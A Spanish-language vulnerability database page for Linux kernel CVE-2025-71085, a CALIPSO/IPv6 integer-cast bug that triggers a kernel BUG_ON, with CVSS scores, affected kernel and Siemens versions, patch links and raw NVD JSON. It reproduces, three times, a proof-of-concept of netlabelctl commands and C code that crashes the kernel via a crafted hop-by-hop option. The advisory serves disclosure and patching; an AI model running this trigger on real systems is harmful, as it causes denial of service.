« Volver al listado

CVE-2025-71085

Estado: ModificadaMedia (5.5)—

In the Linux kernel, the following vulnerability has been resolved:

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.

Leer descripción completaMostrar menos

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing "negative" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.

Detalles técnicos trazas, registros y código del informe original
PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

CVSS

Probabilidad de explotación (EPSS)

EPSS (Exploit Prediction Scoring System, de FIRST) estima la probabilidad de que una vulnerabilidad sea explotada en 30 días. Complementa a CVSS (impacto) y a CISA KEV (explotación confirmada).

Tecnologías afectadas (1)

Linux — Linux Kernel

CWE

Referencias

JSON original (NVD)

Mostrar
{
  "id": "CVE-2025-71085",
  "cveTags": [],
  "metrics": {
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2025-71085",
          "role": "CISA Coordinator",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "partial"
            }
          ],
          "version": "2.0.3",
          "timestamp": "2026-06-10T20:42:02.469421Z"
        }
      }
    ],
    "cvssMetricV31": [
      {
        "type": "Secondary",
        "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 7.5,
          "attackVector": "NETWORK",
          "baseSeverity": "HIGH",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
          "integrityImpact": "NONE",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "confidentialityImpact": "NONE"
        },
        "impactScore": 3.6,
        "exploitabilityScore": 3.9
      },
      {
        "type": "Primary",
        "source": "nvd@nist.gov",
        "cvssData": {
          "scope": "UNCHANGED",
          "version": "3.1",
          "baseScore": 5.5,
          "attackVector": "LOCAL",
          "baseSeverity": "MEDIUM",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
          "integrityImpact": "NONE",
          "userInteraction": "NONE",
          "attackComplexity": "LOW",
          "availabilityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "confidentialityImpact": "NONE"
        },
        "impactScore": 3.6,
        "exploitabilityScore": 1.8
      }
    ]
  },
  "affected": [
    {
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
      "affectedData": [
        {
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "product": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "86f365897068d09418488165a68b23cb5baa37f2",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "6b7522424529556c9cbc15e15e7bd4eeae310910",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "2bb759062efa188ea5d07242a43e5aa5464bbae1",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "c53aa6a5086f03f19564096ee084a202a8c738c0",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "bf3709738d8a8cc6fa275773170c5c29511a0b24",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "73744ad5696dce0e0f43872aba8de6a83d6ad570",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "2917f57b6bc15cc6787496ee5f2fdf17f0e9b7d3",
              "lessThan": "58fc7342b529803d3c221101102fe913df7adb83",
              "versionType": "git"
            }
          ],
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "defaultStatus": "unaffected"
        },
        {
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "product": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.8"
            },
            {
              "status": "unaffected",
              "version": "0",
              "lessThan": "4.8",
              "versionType": "semver"
            },
            {
              "status": "unaffected",
              "version": "5.10.248",
              "versionType": "semver",
              "lessThanOrEqual": "5.10.*"
            },
            {
              "status": "unaffected",
              "version": "5.15.198",
              "versionType": "semver",
              "lessThanOrEqual": "5.15.*"
            },
            {
              "status": "unaffected",
              "version": "6.1.160",
              "versionType": "semver",
              "lessThanOrEqual": "6.1.*"
            },
            {
              "status": "unaffected",
              "version": "6.6.120",
              "versionType": "semver",
              "lessThanOrEqual": "6.6.*"
            },
            {
              "status": "unaffected",
              "version": "6.12.64",
              "versionType": "semver",
              "lessThanOrEqual": "6.12.*"
            },
            {
              "status": "unaffected",
              "version": "6.18.4",
              "versionType": "semver",
              "lessThanOrEqual": "6.18.*"
            },
            {
              "status": "unaffected",
              "version": "6.19",
              "versionType": "original_commit_for_fix",
              "lessThanOrEqual": "*"
            }
          ],
          "programFiles": [
            "net/ipv6/calipso.c"
          ],
          "defaultStatus": "affected"
        }
      ]
    },
    {
      "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
      "affectedData": [
        {
          "vendor": "Siemens",
          "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
          "versions": [
            {
              "status": "affected",
              "version": "V3.1.6",
              "lessThan": "*",
              "versionType": "custom"
            }
          ],
          "defaultStatus": "unknown"
        },
        {
          "vendor": "Siemens",
          "product": "SIMATIC S7-1500 CPU 1518-4 PN/DP MFP",
          "versions": [
            {
              "status": "affected",
              "version": "V3.1.6",
              "lessThan": "*",
              "versionType": "custom"
            }
          ],
          "defaultStatus": "unknown"
        },
        {
          "vendor": "Siemens",
          "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
          "versions": [
            {
              "status": "affected",
              "version": "V3.1.6",
              "lessThan": "*",
              "versionType": "custom"
            }
          ],
          "defaultStatus": "unknown"
        },
        {
          "vendor": "Siemens",
          "product": "SIMATIC S7-1500 CPU 1518F-4 PN/DP MFP",
          "versions": [
            {
              "status": "affected",
              "version": "V3.1.6",
              "lessThan": "*",
              "versionType": "custom"
            }
          ],
          "defaultStatus": "unknown"
        },
        {
          "vendor": "Siemens",
          "product": "SIPLUS S7-1500 CPU 1518-4 PN/DP MFP",
          "versions": [
            {
              "status": "affected",
              "version": "V3.1.6",
              "lessThan": "*",
              "versionType": "custom"
            }
          ],
          "defaultStatus": "unknown"
        }
      ]
    }
  ],
  "published": "2026-01-13T16:16:08.117",
  "references": [
    {
      "url": "https://git.kernel.org/stable/c/2bb759062efa188ea5d07242a43e5aa5464bbae1",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/58fc7342b529803d3c221101102fe913df7adb83",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/6b7522424529556c9cbc15e15e7bd4eeae310910",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/73744ad5696dce0e0f43872aba8de6a83d6ad570",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/86f365897068d09418488165a68b23cb5baa37f2",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/bf3709738d8a8cc6fa275773170c5c29511a0b24",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://git.kernel.org/stable/c/c53aa6a5086f03f19564096ee084a202a8c738c0",
      "tags": [
        "Patch"
      ],
      "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
    },
    {
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-019113.html",
      "source": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e"
    }
  ],
  "vulnStatus": "Modified",
  "weaknesses": [
    {
      "type": "Primary",
      "source": "nvd@nist.gov",
      "description": [
        {
          "lang": "en",
          "value": "CWE-617"
        }
      ]
    }
  ],
  "descriptions": [
    {
      "lang": "en",
      "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead < 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom > INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) < 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Then run the following PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg->cmsg_len = cmsg_len;\n        cmsg->cmsg_level = IPPROTO_IPV6;\n        cmsg->cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &msg, 0);"
    },
    {
      "lang": "es",
      "value": "En el kernel de Linux, la siguiente vulnerabilidad ha sido resuelta:\n\nipv6: BUG() en pskb_expand_head() como parte de calipso_skbuff_setattr()\n\nExiste un oops del kernel causado por un BUG_ON(nhead &lt; 0) en net/core/skbuff.c:2232 en pskb_expand_head(). Este error se activa como parte de la rutina calipso_skbuff_setattr() cuando a skb_cow() se le pasa un headroom &gt; INT_MAX (es decir, (int)(skb_headroom(skb) + len_delta) &lt; 0).\n\nLa causa raíz del error se debe a una conversión implícita de entero en __skb_cow(). La comprobación (headroom &gt; skb_headroom(skb)) tiene como objetivo asegurar que delta = headroom - skb_headroom(skb) nunca sea negativo, de lo contrario, activaremos un BUG_ON en pskb_expand_head(). Sin embargo, si headroom &gt; INT_MAX y delta &lt;= -NET_SKB_PAD, la comprobación pasa, delta se vuelve negativo y a pskb_expand_head() se le pasa un valor negativo para nhead.\n\nCorregir la condición de activación en calipso_skbuff_setattr(). Evitar pasar tamaños de 'headroom' 'negativos' a skb_cow() dentro de calipso_skbuff_setattr() utilizando únicamente skb_cow() para aumentar el headroom.\n\nPoC:\n\tUsando la herramienta 'netlabelctl':\n\n        netlabelctl map del default\n        netlabelctl calipso add pass doi:7\n        netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n        Luego ejecute el siguiente PoC:\n\n        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n        // setup msghdr\n        int cmsg_size = 2;\n        int cmsg_len = 0x60;\n        struct msghdr msg;\n        struct sockaddr_in6 dest_addr;\n        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n                        sizeof(struct cmsghdr) + cmsg_len);\n        msg.msg_name = &amp;dest_addr;\n        msg.msg_namelen = sizeof(dest_addr);\n        msg.msg_iov = NULL;\n        msg.msg_iovlen = 0;\n        msg.msg_control = cmsg;\n        msg.msg_controllen = cmsg_len;\n        msg.msg_flags = 0;\n\n        // setup sockaddr\n        dest_addr.sin6_family = AF_INET6;\n        dest_addr.sin6_port = htons(31337);\n        dest_addr.sin6_flowinfo = htonl(31337);\n        dest_addr.sin6_addr = in6addr_loopback;\n        dest_addr.sin6_scope_id = 31337;\n\n        // setup cmsghdr\n        cmsg-&gt;cmsg_len = cmsg_len;\n        cmsg-&gt;cmsg_level = IPPROTO_IPV6;\n        cmsg-&gt;cmsg_type = IPV6_HOPOPTS;\n        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n        sendmsg(fd, &amp;msg, 0);"
    }
  ],
  "lastModified": "2026-07-30T06:24:49.783",
  "configurations": [
    {
      "nodes": [
        {
          "negate": false,
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "C178EEDC-1906-4F84-B618-31B9B5CA4130",
              "versionEndExcluding": "5.10.248",
              "versionStartIncluding": "4.8.1"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "82159CAA-B6BA-43C6-85D8-65BDBC175A7E",
              "versionEndExcluding": "5.15.198",
              "versionStartIncluding": "5.11"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "C10CC03E-16A9-428A-B449-40D3763E15F6",
              "versionEndExcluding": "6.1.160",
              "versionStartIncluding": "5.16"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "43C3A206-5EEE-417B-AA0F-EF8972E7A9F0",
              "versionEndExcluding": "6.6.120",
              "versionStartIncluding": "6.2"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "32BF4A52-377C-44ED-B5E6-7EA5D896E98B",
              "versionEndExcluding": "6.12.64",
              "versionStartIncluding": "6.7"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "DC988EA0-0E32-457A-BF95-89BEB31A227B",
              "versionEndExcluding": "6.18.4",
              "versionStartIncluding": "6.13"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:4.8:-:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "2F396E56-2772-41B8-917F-0C38C2C1641C"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc1:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "17B67AA7-40D6-4AFA-8459-F200F3D7CFD1"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc2:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "C47E4CC9-C826-4FA9-B014-7FE3D9B318B2"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc3:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "F71D92C0-C023-48BD-B3B6-70B638EEE298"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc4:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "13580667-0A98-40CC-B29F-D12790B91BDB"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc5:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "CAD1FED7-CF48-47BF-AC7D-7B6FA3C065FC"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc6:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "3EF854A1-ABB1-4E93-BE9A-44569EC76C0D"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc7:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "F5DC0CA6-F0AF-4DDF-A882-3DADB9A886A7"
            },
            {
              "criteria": "cpe:2.3:o:linux:linux_kernel:6.19:rc8:*:*:*:*:*:*",
              "vulnerable": true,
              "matchCriteriaId": "EB5B7DFC-C36B-45D8-922C-877569FDDF43"
            }
          ],
          "operator": "OR"
        }
      ]
    }
  ],
  "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"
}